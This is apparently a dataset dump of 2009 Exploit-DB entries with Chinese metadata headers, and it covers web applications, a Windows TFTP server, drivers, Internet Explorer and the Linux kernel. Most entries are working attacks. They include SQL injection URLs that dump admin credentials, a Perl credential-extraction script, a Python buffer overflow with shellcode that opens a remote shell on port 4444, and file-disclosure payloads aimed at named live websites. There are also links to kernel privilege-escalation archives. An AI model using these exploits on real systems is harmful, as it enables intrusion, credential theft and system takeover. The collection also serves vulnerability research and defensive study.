QLWD/code_shield huggingface dataset:
标题: phpfreeBB 1.0 - Blind SQL Injection EDB-ID: 9465 CVE: 2009-3208 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-18 漏洞利用脚本: /*

              _____       _ ___        __          
             | ____|_   _(_) \ \      / /_ _ _   _ 
             |  _| \ \ / / | |\ \ /\ / / _` | | | |
             | |___ \ V /| | | \ V  V / (_| | |_| |
             |_____| \_/ |_|_|  \_/\_/ \__,_|\__, |
                                              |___/ 
                                    _____                    
                                   |_   _|__  __ _ _ __ ___  
                                      | |/ _ \/ _` | '_ ` _ \ 
                                      | |  __/ (_| | | | | | |
                                      |_|\___|\__,_|_| |_| |_|

phpfreeBB 1.0 Remote BLIND SQL Injection Vulnerability

Discovered By : Moudi
Contact : <m0udi@9.cn>
Download : http://prdownloads.sourceforge.net/phpfreebb/bb.zip?download
           http://phpfreebb.sourceforge.net/

Greetings : Mizoz, Zuka, str0ke, 599eme Man.
Please visit: http://unkn0wn.ws/board/index.php

*/

[+] Exploit bSQL:

- Vulnerable code in permalink.php (id).
- Vulnerable code in index.php (year/archive).

- Poc:
  http://127.0.0.1/permalink.php?id=[bSQL]
  http://127.0.0.1/index.php?archive=[NB]&year=[bSQL]

  http://kumi.awardspace.com/diary/permalink.php?id=9+and+1=1 TRUE
  http://kumi.awardspace.com/diary/permalink.php?id=9+and+1=2 FALSE

  http://kumi.awardspace.com/diary/index.php?archive=5&year=2008+and+1=1 TRUE
  http://kumi.awardspace.com/diary/index.php?archive=5&year=2008+and+1=2 FALSE

# milw0rm.com [2009-08-18] URL: https://www.exploit-db.com/exploits/9465
标题: Infinity 2.x - 'options[style_dir]' Local File Disclosure EDB-ID: 9462 CVE: 2009-3211 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-18 漏洞利用脚本: ------------------Infinity <= v2.X.X  Local File Disclosure / Auth Bypass Vulnerabilities-------------------------
   #     ####     #     ###      ##   ###  ####  ####  ###   ## ###   ####  ####   ###     #    ### ####  ######
   ##     #  #    ##     # #    # #  #  #   # #   #  #  #    #   #   #    #  # #  #  #     ##    #   # # #  #  #
   # #    #  #    # #    # #    # #  #      #     #  #   #   #   #  #        #    #        # #   #   #      #  
  #  #    ###    #  #    ###   #  #   ##    ###   ###    #  #    #  #        ###   ##      #  #  #   ###    #  
  ####    #  #   ####    #  # ######    #   #     #  #    # #    #  #        #       #     #   # #   #      #  
 #   #    #   # #   #    #  #     # #   #   #     #   #   ##     #   #    #  #   #   #     #    ##   #      #  
##    ## ###   ##    ## ####     ### ###   ####  ###   #   #    ###   ####  ####  ###   # ###    #  ####   ###
    
#----------------------------------------------------------------------------------------------------------------
Script : Infinity
version : 2.X.X
Language: PHP
Site: http://www.dimofinf.net/
Author: SwEET-DeViL

need magic_quotes_gpc = Off  <-----(<>

----------------------------------------------------------------------------------------------------------------

- +[LFD]

#Exploit:

http://WWW.Site.Com/inf/?options[style_dir]=../include/db.php%00
http://WWW.Site.Com/inf/?options[style_dir]=../../../../../../etc/passwd%00
#
###
#
#----------------------------------------------------------------------------------------------------------------
- +[AB]

http://WWW.Site.Com/inf/cp


#Exploit:


username : 'or 1=1/*

password : SwEET-DeViL

#----------------------------------------------------------------------------------------------------------------
#
###
#
- - +[Live Demo] : >

http://www.alihammadi.com/html/?options[style_dir]=../include/db.php%00
http://www.alihammadi.com/html/?options[style_dir]=../../../../../../etc/named.conf%00


/-------------www.arab4services.net-----------------\
|+------------------------------------------------+ |
||          SwEET-DeViL & viP HaCkEr              | |
||            gamr-14(at)hotmail.com              | |
|+------------------------------------------------+ |
\---------------------------------------------------/


# milw0rm.com [2009-08-18] URL: https://www.exploit-db.com/exploits/9462
标题: ProSysInfo TFTP Server TFTPDWIN 0.4.2 - Remote Buffer Overflow (2) EDB-ID: 9468 CVE: 2007-1404 类型: REMOTE 平台: WINDOWS 发布日期: 2009-08-18 漏洞利用脚本: #!/usr/bin/python

#ProSysInfo TFTP Server TFTPDWIN 0.4.2
#Coded by Wraith

import os
import sys
import struct
import socket
import time


print "\nProSysInfo TFTP Server TFTPDWIN 0.4.2"
print "Note: This vuln is sensitive to different buffer length\n"
 
if len(sys.argv)!=2:
        print "Usage: tftpdwin.py <ip>"
        sys.exit(0)


 
buffer = "\x00\x01\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
buffer += "\x8b\xc3\x66\x05\x12\x01\x50\xc3" + "\x90"*57

buffer += "\x59\x81\xc9\xd3\x62\x30\x20\x41\x43\x4d\x64"
buffer += "\x64\x99\x96\x8D\x7E\xE8\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C"
buffer += "\x8B\x09\x8B\x69\x08\xB6\x03\x2B\xE2\x66\xBA\x33\x32\x52\x68\x77"
buffer += "\x73\x32\x5F\x54\xAC\x3C\xD3\x75\x06\x95\xFF\x57\xF4\x95\x57\x60"
buffer += "\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF"
buffer += "\x47\x8B\x34\xBB\x03\xF5\x99\xAC\x34\x71\x2A\xD0\x3C\x71\x75\xF7"
buffer += "\x3A\x54\x24\x1C\x75\xEA\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B"
buffer += "\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3B\xF7\x75\xB4"
buffer += "\x5E\x54\x6A\x02\xAD\xFF\xD0\x88\x46\x13\x8D\x48\x30\x8B\xFC\xF3"
buffer += "\xAB\x40\x50\x40\x50\xAD\xFF\xD0\x95\xB8\x02\xFF\x11\x5c\x32\xE4"
buffer += "\x50\x54\x55\xAD\xFF\xD0\x85\xC0\x74\xF8\xFE\x44\x24\x2D\xFE\x44"
buffer += "\x24\x2c\x83\xEF\x6C\xAB\xAB\xAB\x58\x54\x54\x50\x50\x50\x54\x50"
buffer += "\x50\x56\x50\xFF\x56\xE4\xFF\x56\xE8\x90\x90\x90\x90\x90\x90\x90"
buffer += "\x42\xfb\x61\x40\x00\x6e\x65\x74\x61\x73\x63\x69\x69\x00"


target = sys.argv[1]
def Connect(target):
 connect = "telnet " + target + " 4444"
 os.system(connect)
 
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

try:
 s.sendto(buffer, (target,69))
 print "[*] Initiating Buffer Overflow"
 time.sleep(2)
 print "[*] Attempting Connection to Remote Host"
 time.sleep(2)
 print "[*] Please Wait...\n"
 time.sleep(3)
 Connect(target)
 print "\nClosing Remote Connection\n"
 sys.exit(0)
except:
 print "Goodbye\n" 

# milw0rm.com [2009-08-18] URL: https://www.exploit-db.com/exploits/9468
标题: broid 1.0 Beta 3a - '.mp3' Local Buffer Overflow (PoC) EDB-ID: 9457 CVE: 2009-3213 类型: DOS 平台: WINDOWS 发布日期: 2009-08-18 漏洞利用脚本: #!/usr/bin/perl
# Found By :: HACK4LOVE
# broid 1.0 Beta 3a (.mp3 File) Local Stack Overflow PoC
# http://s1.freedownloadsplace.com/download-soft1/broid-1.0-Beta-3a.zip
########################################################################################
##EAX 8C8C8C7D
##ECX 41414141
##EDX C3C3C3C3
##EBX 00FE28B8 ASCII "C:\Documents and Settings\ahmed\Desktop\hack4love.mp3"
##ESP 0012EF74
##EBP 00FFE128
##ESI 00001388
##EDI 41414141
##EIP 004784FF broidegn.004784FF
#######################################################################################
#Thanks*SimO-s0fT /\RAYO/\deco017/\mo7areb/\ELNAMER ELMASRY/\EL7ADRANY/\SKULL-HACKER
# Stack/\His0k4/\ThE g0bL!N/\ZAX/\ASER ELRO7/\SAR7ABEL ELSAFA7
########################################################################################
my $crash="\x41" x 5000;
open(myfile,'>>hack4love.mp3');
print myfile $crash;
########################################################################################

# milw0rm.com [2009-08-18] URL: https://www.exploit-db.com/exploits/9457
标题: TheGreenBow VPN Client - 'tgbvpn.sys' Local Denial of Service EDB-ID: 9449 CVE: 2009-2918 类型: DOS 平台: WINDOWS 发布日期: 2009-08-18 漏洞利用脚本: Author: Giuseppe 'Evilcry' Bonfa'
E-Mail: evilcry {AT} GMAIL {DOT} COM
Website: http://evilcry.netsons.org
             http://evilcodecave.blogspot.com
             http://evilcodecave.wordpress.com
             http://evilfingers.com
             http://malwareAnalytics.com [under construction]

Release Date: 15/08/2009

+-------------------------------------------------+
Product: TheGreenBow VPN Client 4.61.003  (other versions could be affected)
Affected Component: tgbvpn.sys
Category: Local Denial of Service (BSOD)
         (untested) Local Privilege Escalation

+-------------------------------------------------+



--------------------------[Details]--------------->

TheGreenBow's tgbvpn.sys Driver does not sanitize user supplied input
(IOCTL)
and this lead to a Driver Collapse that propagates on the system with a
BSOD,
and potential risk of Privilege Escalation.

Affected IOCTL is 0x80000034

Transfer Type: METHOD_BUFFERED

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be
wrong.
ef1cabf4 841d36a8 ef1cac58 841d36a8 f42dd895 tgbvpn+0x9f51
00000000 00000000 00000000 00000000 00000000 0x841d36a8


+--------------------------------------------------------------------------------------------+
/* tgbvpn.sys KERNEL_MODE_EXCEPTION_NOT_HANDLED - DoS PoC
 *
 * Author: Giuseppe 'Evilcry' Bonfa'
 * E-Mail: evilcry {AT} gmail. {DOT} com
 * Website: http://evilcry.netsons.org
 * http://evilcodecave.blogspot.com
 * http://evilcodecave.wordpress.com
 * http://evilfingers.com
 * http://malwareAnalytics.com [under construction]
 */

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

int main(void)
{
   HANDLE hDevice;
   DWORD Junk;



   system("cls");
   printf("\n .:: TheGreenBow DoS Proof of Concept ::.\n");

   hDevice = CreateFileA("\\\\.\\tgbvpn",
                       0,
                       FILE_SHARE_READ | FILE_SHARE_WRITE,
                       NULL,
                       OPEN_EXISTING,
                       0,
                       NULL);

   if (hDevice == INVALID_HANDLE_VALUE)
   {
       printf("\n Unable to Device Driver\n");
       return EXIT_FAILURE;
   }

   DeviceIoControl(hDevice, 0x80000034,(LPVOID) 0x80000001, 0, (LPVOID)
0x80000002, 0, &Junk, (LPOVERLAPPED)NULL);


   return EXIT_SUCCESS;
}

+--------------------------------------------------------------------------------------------+

# milw0rm.com [2009-08-18] URL: https://www.exploit-db.com/exploits/9449
标题: Microsoft Internet Explorer - JavaScript SetAttribute Remote Crash EDB-ID: 9455 CVE: 2009-3019 类型: DOS 平台: WINDOWS 发布日期: 2009-08-18 漏洞利用脚本: <html>
 <head>
  <title> Irfan Asrar</title>
 </head>
<body onload="c()">
Set Attribute Crash : Tested with IE7 Vista
                                  IE6 XP2
                                  IE6 XP3

<script type="text/javascript">

function c() {

var li = document.createElement("li");
li.setAttribute("value", "1");
li.value = "1";

}

</script>
 </body>
</html>

# milw0rm.com [2009-08-18] URL: https://www.exploit-db.com/exploits/9455
标题: Videos Broadcast Yourself 2 - 'UploadID' SQL Injection EDB-ID: 9453 CVE: 2009-2924 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-18 漏洞利用脚本: ###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL Injection Vulnerability ( videoint.php UploadID )
##
## Videos Broadcast Yourself V2
##
## http://www.videosbroadcastyourself.com/
##
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.55a.NeT
##
## Email  : SQL@Hotmail.iT
##
########################
########################
##
## -[[: ExploiteS :]]-
##
## www.TraGeT.CoM/PATH/videoint.php?UploadID=0/**/UNION/**/SELECT/**/0,CONCAT_WS(0x3a,username,password,EmailAddress),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM+admin--
## www.TraGeT.CoM/PATH/videoint.php?UploadID=0/**/UNION/**/SELECT/**/0,CONCAT_WS(0x3a,username,password,EmailAddress),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM+users--
##
## catvideo.php?m=0&cat_id=0 << Vulne
## cviewchannels.php?uid=0   << Vulne
##
########################
########################

#########################################################################################################
#########################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                        
:: HaCkEr_EGy :: Dark MaSTer  :: His0k4 :: MoHaMeD el 3rab :: ALwHeD :: Ghost Hacker :: MuslimS HaCkErS ::
#########################################################################################################
#########################################################################################################

# milw0rm.com [2009-08-18] URL: https://www.exploit-db.com/exploits/9453
标题: AJ Auction Pro OOPD 2.x - 'id' SQL Injection EDB-ID: 9447 CVE: 2009-3203 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-18 漏洞利用脚本: #!/usr/bin/perl

#********************************************************#
#                                                        #
# [o] AJ Auction Pro OOPD 2.x SQL Injection Exploit      #
#      Software : AJ Auction Pro OOPD 2.x                #
#      Vendor   : http://www.ajsquare.com/               #
#      Author   : NoGe                                   #
#      Contact  : noge[dot]code[at]gmail[dot]com         #
#      Blog     : http://evilc0de.blogspot.com           #
#                                                        #
# [o] Usage                                              #
#      root@noge:~# perl ajpro.pl www.target.com         #
#                                                        #
# [o] Dork                                               #
#      "Powered By AJ Auction Pro"                       #
#                                                        #
# [o] Greetz                                             #
#      MainHack BrotherHood [ http://mainhack.net ]      #
#      Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 Angela Zhang   #
#      H312Y yooogy mousekill }^-^{ loqsa zxvf martfella #
#      skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke     #
#                                                        #
#********************************************************#

use HTTP::Request;
use LWP::UserAgent;

my $target = $ARGV[0];
my $file_vuln = '/store.php?id=';
my $sql_query = '-null+union+select+1,2,3,4,5,group_concat(0x3a,user_name,0x3a,password,0x3a),7,8,9,10+from+admin--';
print "\n[x]===============================================[x]\n";
print "[x] AJ Auction Pro OOPD 2.x SQL Injection Exploit [x]\n";
print "[x]                [C]oded By NoGe                [x]\n";
print "[x]===============================================[x]\n\n";

my $exploit = "http://".$target.$file_vuln.$sql_query;

my $request   = HTTP::Request->new(GET=>$exploit);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response  = $useragent->request($request);
if ($response->is_success) {
my $res   = $response->content;
if ($res =~ m/:(.*):(.*):/g) {
my ($username,$password) = ($1,$2);
print "[+] $username:$password \n\n";
}
else { print "[-] Error, Fail to get admin login.\n\n"; }
}
else { print "[-] Error, ".$response->status_line."\n\n"; }

# milw0rm.com [2009-08-18] URL: https://www.exploit-db.com/exploits/9447
标题: Adobe JRun 4 - 'logfile' (Authenticated) Directory Traversal EDB-ID: 9443 CVE: 2009-1873 类型: REMOTE 平台: WINDOWS 发布日期: 2009-08-18 漏洞利用脚本: Digital Security Research Group [DSecRG] Advisory #DSECRG-09-052


Application:                Adobe JRun Application Server
Versions Affected:          4 updater 7
Vendor URL:                 http://www.adobe.com/products/jrun/
Bug:                        Directory Traversal File Read
Exploits:                   YES
Reported:                   20.01.2009
Vendor response:            21.01.2009
Solution:                   YES   
Date of Public Advisory:    17.08.2009
CVE-number:                 CVE-2009-1873
Author:                     Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

JRun Management Console Directory Traversal vulnerability.


Details
*******


Directory Traversal vulnerability found in script logviewer.jsp

Using Management Console authenticated attacker can read any file on server.

Also attacker can exploit this issue using XSS (http://www.dsecrg.com/pages/vul/show.php?id=152)


Example:

http://[server]/server/[profile]/logging/logviewer.jsp?logfile=../../../../../../../boot.ini




Fix Information
***************
The issue has been solved 17 august 2009.  http://www.adobe.com/go/apsb09-12


References:
***********

http://www.adobe.com/go/apsb09-12
http://www.dsecrg.com/pages/vul/show.php?id=152


About
*****


Digital Security one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact: research [at] dsecrg [dot] com
  http://www.dsecrg.com 

# milw0rm.com [2009-08-18] URL: https://www.exploit-db.com/exploits/9443
标题: SPIP < 2.0.9 - Arbitrary Copy All Passwords to '.XML' File EDB-ID: 9448 CVE: 2009-3041 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-18 漏洞利用脚本: #!/usr/bin/env python
# SPIP - Content Management System < 2.0.9 exploit
# https://www.securityfocus.com/bid/36008
# Author : Kernel_Panik
#

import urllib, urllib2
import cookielib
import sys

def send_request(urlOpener, url, post_data=None):
   request = urllib2.Request(url)
   url = urlOpener.open(request, post_data)
   return url.read()

def extract_hash(formulaire):
   return formulaire.split("<input name='hash' type='hidden' value='")[1].split("'")[0]


if len(sys.argv) < 3:
   print "SPIP < 2.0.9 exploit by Kernel_Panik\n\tUsage: python script.py <Base_url> <filename>"
   exit()

filename = sys.argv[2]
base_url = sys.argv[1]

cookiejar = cookielib.CookieJar()
urlOpener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookiejar))


formulaire = send_request(urlOpener, base_url+"ecrire/?exec=install&reinstall=non&transformer_xml=export_all&nom_sauvegarde=../../../IMG/"+filename)
print "[+] First request sended..."

formulaire_data = {'action' : 'export_all',
                   'export[]' : 'spip_auteurs',
                   'hash' : extract_hash(formulaire),
                   'arg' : 'start,,../../../IMG/'+filename+'.xml,0,1.3'
                  }
formulaire_data = urllib.urlencode(formulaire_data)


send_request(urlOpener, base_url+"spip.php", formulaire_data)
print "[+] Formulaire content sended"


send_request(urlOpener, base_url+"ecrire/?exec=install&reinstall=non&transformer_xml=export_all&nom_sauvegarde=../../../IMG/"+filename)
print "[+] Second request sended"


send_request(urlOpener, base_url+"ecrire/?exec=install&reinstall=non&transformer_xml=export_all&nom_sauvegarde=../../../IMG/"+filename)
print "[+] Last request sended"

xml_content = send_request(urlOpener, base_url+"IMG/"+filename+".xml")
print "[+] Xml file obtained"


result = open(filename+".xml", "w")
result.write(xml_content)
result.close()
print "[+] File saved "

# milw0rm.com [2009-08-18] URL: https://www.exploit-db.com/exploits/9448
标题: PHP-Lance 1.52 - Multiple Local File Inclusions EDB-ID: 9444 CVE: 2009-2923 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-18 漏洞利用脚本: #############################
Name : PHP-Lance v1.52
price US $349.95 :p
Demo : http://www.scriptdemo.com/php-lance/
############################# 

------------------------------------------------------------------------

_________________________________                                    
|Author : jetli007                               
|alkhari9007[AT]gmail[DOT]com        
|www.vxx9.cc                                
|Thx&Greets to: 5D;taishi;dr.php;!bad boy!;psycho;ABK;reno 
________________________________


-------------------------------------------------------------------------
PoC's:

   - http:// 127.0.0.1 / [path] /show.php?catid=5&sch=yellow&language=[LFI]
   - http:// 127.0.0.1 / [path] /show.php?catid=5&sch=yellow&language=[LFI]
   - http:// 127.0.0.1 / [path] /advanced_search.php?in=[LFI]

 LiveDemo:

   - http://www.scriptdemo.com/php-lance/show.php?catid=5&sch=yellow&language=../../../../../../../../../../../../../etc/passwd%00

   - http://www.scriptdemo.com/php-lance/show.php?catid=5&sch=yellow&language=../../../../../../../../../../../../../etc/passwd%00
  
   - http://www.scriptdemo.com/php-lance/advanced_search.php?in=../../../../../../../../../../../../../etc/passwd%00
-------------------------------------------------------------------------

# milw0rm.com [2009-08-18] URL: https://www.exploit-db.com/exploits/9444
标题: PHP Competition System 0.84 - 'competition' SQL Injection EDB-ID: 9438 CVE: 2009-2926 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-14 漏洞利用脚本: ###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL Injection Vulnerability ( show_matchs.php competition )
##
## PHP Competition System BETA <= V0.84
##
## http://phpcompet.free.fr/
##
## http://phpcompet.free.fr/download_en.html
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.55a.NeT
##
## Email  : SQL@Hotmail.iT
##
########################
########################
##
## -[[: Exploite :]]-
##
## www.TraGeT.CoM/PATH/show_matchs.php?competition=1&season=1&day=-1+union+select+0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,CONCAT_WS(0x3a,name,passwd,email),0,0,0,0+from+pcs_users--
## www.TraGeT.CoM/PATH/persons.php?pageno=0'
##
########################
########################
You can to find other vulne in other files :))
#########################################################################################################
#########################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                        
:: HaCkEr_EGy :: Dark MaSTer  :: His0k4 :: MoHaMeD el 3rab :: ALwHeD :: Ghost Hacker :: MuslimS HaCkErS ::
#########################################################################################################
#########################################################################################################

# milw0rm.com [2009-08-14] URL: https://www.exploit-db.com/exploits/9438
标题: Linux Kernel 2.x (RedHat) - 'sock_sendpage()' Ring0 Privilege Escalation (1) EDB-ID: 9435 CVE: 2009-2692 类型: LOCAL 平台: LINUX 发布日期: 2009-08-14 漏洞利用脚本: /* dedicated to my best friend in the whole world, Robin Price
   the joke is in your hands

   just too easy -- some nice library functions for reuse here though

   credits to julien tinnes/tavis ormandy for the bug

   may want to remove the __attribute__((regparm(3))) for 2.4 kernels,
   I have no time to test

spender@www:~$ cat redhat_hehe
I bet Red Hat will wish they closed the SELinux vulnerability when they
were given the opportunity to.  Now all RHEL boxes will get owned by
leeches.c :p

fd7810e34e9856f77cba67f291ba115f33411ebd 
d4b0e413ebf15d039953dfabf7f9a2d1

thanks to Dan Walsh for the great SELinux bypass even on "fixed" SELinux 
policies

and nice work Linus on trying to silently fix an 8 year old 
vulnerability, leaving vendors without patched kernels for their users.

  use ./wunderbar_emporium.sh for everything

don't have mplayer? watch an earlier version of the exploit at:
http://www.youtube.com/watch?v=arAfIp7YzZ4

*/

http://www.grsecurity.net/~spender/wunderbar_emporium.tgz
Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9435.tgz (2009-wunderbar_emporium.tgz)

# milw0rm.com [2009-08-14] URL: https://www.exploit-db.com/exploits/9435
标题: Linux Kernel 2.x - 'sock_sendpage()' Local Privilege Escalation (4) EDB-ID: 9436 CVE: 2009-2692 类型: LOCAL 平台: LINUX 发布日期: 2009-08-14 漏洞利用脚本: > Linux NULL pointer dereference due to incorrect proto_ops initializations
> > -------------------------------------------------------------------------

Quick and dirty exploit for this one:

http://www.frasunek.com/proto_ops.tgz
Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9436.tgz (2009-proto_ops.tgz)

# milw0rm.com [2009-08-14] URL: https://www.exploit-db.com/exploits/9436